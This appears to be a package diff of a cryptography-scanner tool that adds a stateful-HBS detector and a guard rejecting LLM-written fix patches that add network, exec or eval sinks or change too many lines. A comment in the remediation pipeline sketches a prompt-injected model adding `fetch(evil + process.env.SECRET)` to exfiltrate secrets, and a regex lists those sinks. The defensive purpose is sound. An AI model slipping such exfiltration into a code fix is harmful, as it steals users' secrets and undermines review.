/;\n let redacted = false;\n let inKey = false;\n const out: string[] = [];\n for (const line of text.split(\"\\n\")) {\n if (!inKey && begin.test(line)) {\n inKey = true;\n redacted = true;\n out.push(REDACTED);\n continue;\n }\n if (inKey) {\n if (end.test(line)) inKey = false;\n continue; // drop key-body / END lines\n }\n out.push(line);\n }\n return { text: out.join(\"\\n\"), redacted };\n}\n\n// Single-entry memo: same-file findings re-request the identical file content;\n// this makes the whole-file redaction O(n) across all of them instead of O(n·k).\nlet memoInput: string | undefined;\nlet memoResult: { text: string; redacted: boolean } | undefined;\n\n/** Replace every secret-looking token/block in `text` with {@link REDACTED}.\n * Fails CLOSED: on oversized input or any error, the whole text is redacted. */\nfunction stripSecrets(text: string): { text: string; redacted: boolean } {\n if (memoInput === text && memoResult) return memoResult;\n let result: { text: string; redacted: boolean };\n if (text.length > MAX_SECRET_SCAN) {\n result = { text: REDACTED, redacted: true };\n } else {\n try {\n const pem = redactPrivateKeyBlocks(text);\n let out = pem.text;\n let redacted = pem.redacted;\n for (const re of TOKEN_PATTERNS) {\n out = out.replace(re, () => {\n redacted = true;\n return REDACTED;\n });\n }\n // Best-effort entropy catch-all for novel token shapes the named patterns miss.\n const ent = redactHighEntropy(out);\n out = ent.text;\n redacted = redacted || ent.redacted;\n result = { text: out, redacted };\n } catch {\n result = { text: REDACTED, redacted: true };\n }\n }\n memoInput = text;\n memoResult = result;\n return result;\n}\n\n/** Best-effort enclosing brace/colon block around a 0-based line index. */\nfunction enclosingBlock(lines: string[], idx: number): string {\n let start = idx;\n while (start > 0 && !/[{:]\\s*$/.test(lines[start - 1] ?? \"\")) start--;\n let end = idx;\n let depth = 0;\n for (let i = start; i < lines.length; i++) {\n const line = lines[i] ?? \"\";\n depth += (line.match(/{/g) ?? []).length - (line.match(/}/g) ?? []).length;\n end = i;\n if (i > idx && depth <= 0) break;\n }\n return lines.slice(start, end + 1).join(\"\\n\");\n}\n\n/**\n * Build the redacted context for `finding` at `level`. `fileContent` is the full\n * text of the file the finding lives in (unused at `metadata` level). Secrets\n * are always removed; a `sensitive` finding yields `code: null`.\n */\nexport function buildContext(\n finding: Finding,\n level: ContextLevel,\n fileContent: string,\n): RedactedContext {\n const meta = {\n ruleId: finding.ruleId,\n algorithm: finding.algorithm,\n severity: finding.severity,\n hndl: finding.hndl,\n file: finding.location.file,\n line: finding.location.line,\n message: finding.message,\n };\n // Sensitive findings never emit code, at any level.\n if (finding.sensitive) return { level, meta, code: null, redactedSecret: true };\n if (level === \"metadata\") return { level, meta, code: null, redactedSecret: false };\n\n const lines = fileContent.split(\"\\n\");\n let code: string;\n if (level === \"file\") {\n code = fileContent;\n } else if (level === \"function\") {\n code = enclosingBlock(lines, finding.location.line - 1);\n } else {\n const i = finding.location.line - 1;\n code = lines.slice(Math.max(0, i - SNIPPET_RADIUS), i + SNIPPET_RADIUS + 1).join(\"\\n\");\n }\n const { text, redacted } = stripSecrets(code);\n return { level, meta, code: text, redactedSecret: redacted };\n}\n\n/** Render the exact payload text a `--dry-run` preflight would send. */\nexport function renderPreflight(contexts: RedactedContext[]): string {\n return contexts\n .map((c) => {\n const flags = `level=${c.level}${c.redactedSecret ? \", secret-redacted\" : \"\"}`;\n const head = `[${c.meta.severity}] ${c.meta.ruleId} ${c.meta.file}:${c.meta.line} (${flags})`;\n return c.code ? `${head}\\n${c.code}` : head;\n })\n .join(\"\\n\\n---\\n\\n\");\n}\n"]}
|
package/dist/registry.d.ts
CHANGED
|
@@ -51,8 +51,8 @@ export declare class DetectorRegistry {
|
|
|
51
51
|
/**
|
|
52
52
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
53
53
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
54
|
-
* then the language-agnostic PEM
|
|
55
|
-
* handled separately by `scan()`.
|
|
54
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
55
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
56
56
|
*
|
|
57
57
|
* This is the single source of truth for the default detector set: both
|
|
58
58
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
package/dist/registry.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAYpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EAWtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}
|
package/dist/registry.js
CHANGED
|
@@ -7,6 +7,7 @@ import { rustDetector } from "./detectors/rust.js";
|
|
|
7
7
|
import { rubyDetector } from "./detectors/ruby.js";
|
|
8
8
|
import { cDetector } from "./detectors/c.js";
|
|
9
9
|
import { pemDetector } from "./detectors/pem.js";
|
|
10
|
+
import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
|
|
10
11
|
/** Normalised scope of a detector (defaults to "source" when undeclared). */
|
|
11
12
|
export function detectorScope(d) {
|
|
12
13
|
return d.scope ?? "source";
|
|
@@ -83,8 +84,8 @@ export class DetectorRegistry {
|
|
|
83
84
|
/**
|
|
84
85
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
85
86
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
86
|
-
* then the language-agnostic PEM
|
|
87
|
-
* handled separately by `scan()`.
|
|
87
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
88
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
88
89
|
*
|
|
89
90
|
* This is the single source of truth for the default detector set: both
|
|
90
91
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
|
@@ -100,6 +101,7 @@ export const builtinDetectors = [
|
|
|
100
101
|
rubyDetector,
|
|
101
102
|
cDetector,
|
|
102
103
|
pemDetector,
|
|
104
|
+
statefulHbsDetector,
|
|
103
105
|
];
|
|
104
106
|
/**
|
|
105
107
|
* The default registry, preloaded with {@link builtinDetectors}. Used by
|
package/dist/registry.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAaA,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,SAAS,EAAE,MAAM,kBAAkB,CAAC;AAC7C,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Detector registry — the plugin point for source/config detectors.\n *\n * Instead of `scan()` closing over a hardcoded array and inferring scope from\n * ruleId prefixes, detectors are registered with a declared `scope` and\n * `language` (see {@link Detector}). `scan()` consults a registry (the\n * {@link defaultRegistry} by default, or an explicit `detectors` override) and\n * honours the source/config toggles by each detector's declared scope.\n *\n * To add a language or detector, see the \"Adding a detector / language\" section\n * of the package README.\n */\nimport type { Detector, DetectorScope, RuleMeta } from \"./types.js\";\nimport { sourceDetectors } from \"./detectors/source.js\";\nimport { pythonDetector } from \"./detectors/python.js\";\nimport { goDetector } from \"./detectors/go.js\";\nimport { javaDetector } from \"./detectors/java.js\";\nimport { csharpDetector } from \"./detectors/csharp.js\";\nimport { rustDetector } from \"./detectors/rust.js\";\nimport { rubyDetector } from \"./detectors/ruby.js\";\nimport { cDetector } from \"./detectors/c.js\";\nimport { pemDetector } from \"./detectors/pem.js\";\nimport { statefulHbsDetector } from \"./detectors/stateful-hbs.js\";\n\n/** Normalised scope of a detector (defaults to \"source\" when undeclared). */\nexport function detectorScope(d: Detector): DetectorScope {\n return d.scope ?? \"source\";\n}\n\n/** A rule plus the detector that emits it — the result of {@link DetectorRegistry.forRule}. */\nexport interface RuleCatalogEntry {\n rule: RuleMeta;\n detector: Detector;\n}\n\n/**\n * An ordered, id-indexed collection of detectors. Registration order is\n * preserved by {@link all} for deterministic scan output. Ids must be unique.\n */\nexport class DetectorRegistry {\n private readonly byId = new Map<string, Detector>();\n private readonly order: string[] = [];\n\n /** Construct a registry, optionally seeded with an initial detector set. */\n constructor(initial: readonly Detector[] = []) {\n for (const d of initial) this.register(d);\n }\n\n /** Register a detector. Throws on a duplicate id. Returns `this` for chaining. */\n register(d: Detector): this {\n if (this.byId.has(d.id)) {\n throw new Error(`duplicate detector id: ${d.id}`);\n }\n this.byId.set(d.id, d);\n this.order.push(d.id);\n return this;\n }\n\n /** Look up a detector by its id (exact, not prefix). */\n get(id: string): Detector | undefined {\n return this.byId.get(id);\n }\n\n /** True if a detector with this id is registered. */\n has(id: string): boolean {\n return this.byId.has(id);\n }\n\n /** All registered detectors, in registration order. */\n all(): Detector[] {\n return this.order.map((id) => this.byId.get(id)!);\n }\n\n /**\n * The flattened rule catalog: every {@link RuleMeta} declared by every\n * registered detector, in detector-registration then in-detector order. This\n * is the single source of truth for rule metadata consumed by SARIF\n * `rules[]`, the MCP `explain_finding` resolver, and per-rule enable/disable.\n * Duplicate rule ids across detectors throw (ids are globally unique).\n */\n ruleCatalog(): RuleMeta[] {\n const out: RuleMeta[] = [];\n const seen = new Set<string>();\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (seen.has(rule.id)) {\n throw new Error(`duplicate rule id in catalog: ${rule.id}`);\n }\n seen.add(rule.id);\n out.push(rule);\n }\n }\n return out;\n }\n\n /** Resolve a rule id to its {@link RuleMeta} and the detector that emits it. */\n forRule(ruleId: string): RuleCatalogEntry | undefined {\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (rule.id === ruleId) return { rule, detector: det };\n }\n }\n return undefined;\n }\n\n /** A shallow copy of this registry (useful to extend the defaults). */\n clone(): DetectorRegistry {\n return new DetectorRegistry(this.all());\n }\n}\n\n/**\n * The built-in detectors, in run order: the JS/TS source + config detectors,\n * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),\n * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The\n * manifest (dependency) scanner is handled separately by `scan()`.\n *\n * This is the single source of truth for the default detector set: both\n * {@link defaultRegistry} and the public `detectors` export (re-exported from\n * `scan.ts`) are built from it, so the two can never drift out of sync.\n */\nexport const builtinDetectors: Detector[] = [\n ...sourceDetectors,\n pythonDetector,\n goDetector,\n javaDetector,\n csharpDetector,\n rustDetector,\n rubyDetector,\n cDetector,\n pemDetector,\n statefulHbsDetector,\n];\n\n/**\n * The default registry, preloaded with {@link builtinDetectors}. Used by\n * `scan()` whenever `options.detectors` is not supplied.\n */\nexport const defaultRegistry = new DetectorRegistry(builtinDetectors);\n"]}
|
|
@@ -33,6 +33,9 @@ export interface RemediateOptions {
|
|
|
33
33
|
/** Which files a patch is allowed to touch. */
|
|
34
34
|
policy: PolicyContext;
|
|
35
35
|
}
|
|
36
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
37
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
38
|
+
export declare const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
36
39
|
/**
|
|
37
40
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
38
41
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;
|
|
1
|
+
{"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AAmBD;4EAC4E;AAC5E,eAAO,MAAM,2BAA2B,KAAK,CAAC;AAkC9C;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CAmC5B"}
|
|
@@ -6,6 +6,47 @@ function passesVerify(before, after, finding) {
|
|
|
6
6
|
const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));
|
|
7
7
|
return targetGone && noNewRuleTypes && after.length < before.length;
|
|
8
8
|
}
|
|
9
|
+
/**
|
|
10
|
+
* Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
|
|
11
|
+
* introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
|
|
12
|
+
* the rest of a full-file rewrite, so an injected/hostile model could drop the
|
|
13
|
+
* RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
|
|
14
|
+
* runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
|
|
15
|
+
*/
|
|
16
|
+
const NEW_SINK_RE = /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
|
|
17
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
18
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
19
|
+
export const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
20
|
+
function countMatches(re, s) {
|
|
21
|
+
return (s.match(re) ?? []).length;
|
|
22
|
+
}
|
|
23
|
+
/** Changed lines (removed + added) between two revisions, ignoring the shared
|
|
24
|
+
* prefix/suffix — same shape the CLI's unified-diff uses. */
|
|
25
|
+
function changedLineCount(before, after) {
|
|
26
|
+
const a = before.split("\n");
|
|
27
|
+
const b = after.split("\n");
|
|
28
|
+
let start = 0;
|
|
29
|
+
while (start < a.length && start < b.length && a[start] === b[start])
|
|
30
|
+
start++;
|
|
31
|
+
let endA = a.length - 1;
|
|
32
|
+
let endB = b.length - 1;
|
|
33
|
+
while (endA >= start && endB >= start && a[endA] === b[endB]) {
|
|
34
|
+
endA--;
|
|
35
|
+
endB--;
|
|
36
|
+
}
|
|
37
|
+
return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
|
|
38
|
+
}
|
|
39
|
+
/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
|
|
40
|
+
function llmPatchRisk(before, patch) {
|
|
41
|
+
if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
|
|
42
|
+
return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
|
|
43
|
+
}
|
|
44
|
+
const changed = changedLineCount(before, patch.newContent);
|
|
45
|
+
if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
|
|
46
|
+
return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
|
|
47
|
+
}
|
|
48
|
+
return null;
|
|
49
|
+
}
|
|
9
50
|
/**
|
|
10
51
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
11
52
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -25,6 +66,15 @@ export async function remediateFindings(findings, opts) {
|
|
|
25
66
|
rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
|
|
26
67
|
continue;
|
|
27
68
|
}
|
|
69
|
+
// Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
|
|
70
|
+
// verify step can't provide (new-sink + change-size bound).
|
|
71
|
+
if (patch.source === "llm") {
|
|
72
|
+
const risk = llmPatchRisk(content, patch);
|
|
73
|
+
if (risk) {
|
|
74
|
+
rejected.push({ finding, reason: risk });
|
|
75
|
+
continue;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
28
78
|
const before = verifyFix(content, { filename: finding.location.file }).findings;
|
|
29
79
|
const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
|
|
30
80
|
if (!passesVerify(before, after, finding)) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAcA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAwBxC,6EAA6E;AAC7E,SAAS,YAAY,CAAC,MAAiB,EAAE,KAAgB,EAAE,OAAgB;IACzE,MAAM,UAAU,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACnE,MAAM,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;IACrF,OAAO,UAAU,IAAI,cAAc,IAAI,KAAK,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;AACtE,CAAC;AAED;;;GAGG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,QAA4B,EAC5B,IAAsB;IAEtB,MAAM,OAAO,GAAoB,EAAE,CAAC;IACpC,MAAM,QAAQ,GAAoB,EAAE,CAAC;IAErC,KAAK,MAAM,OAAO,IAAI,QAAQ,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;QAChD,MAAM,KAAK,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QACvD,IAAI,CAAC,KAAK,EAAE,CAAC;YACX,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC,CAAC;YACrE,SAAS;QACX,CAAC;QACD,MAAM,QAAQ,GAAG,gBAAgB,CAAC,KAAK,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,CAAC;YACtB,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,QAAQ,CAAC,MAAM,IAAI,0BAA0B,EAAE,CAAC,CAAC;YAClF,SAAS;QACX,CAAC;QACD,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,EAAE,EAAE,QAAQ,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAChF,MAAM,KAAK,GAAG,SAAS,CAAC,KAAK,CAAC,UAAU,EAAE,EAAE,QAAQ,EAAE,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAC7E,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,KAAK,EAAE,OAAO,CAAC,EAAE,CAAC;YAC1C,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,wCAAwC,EAAE,CAAC,CAAC;YAC7E,SAAS;QACX,CAAC;QACD,OAAO,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;IACnC,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,CAAC;AAC/B,CAAC"}
|
|
1
|
+
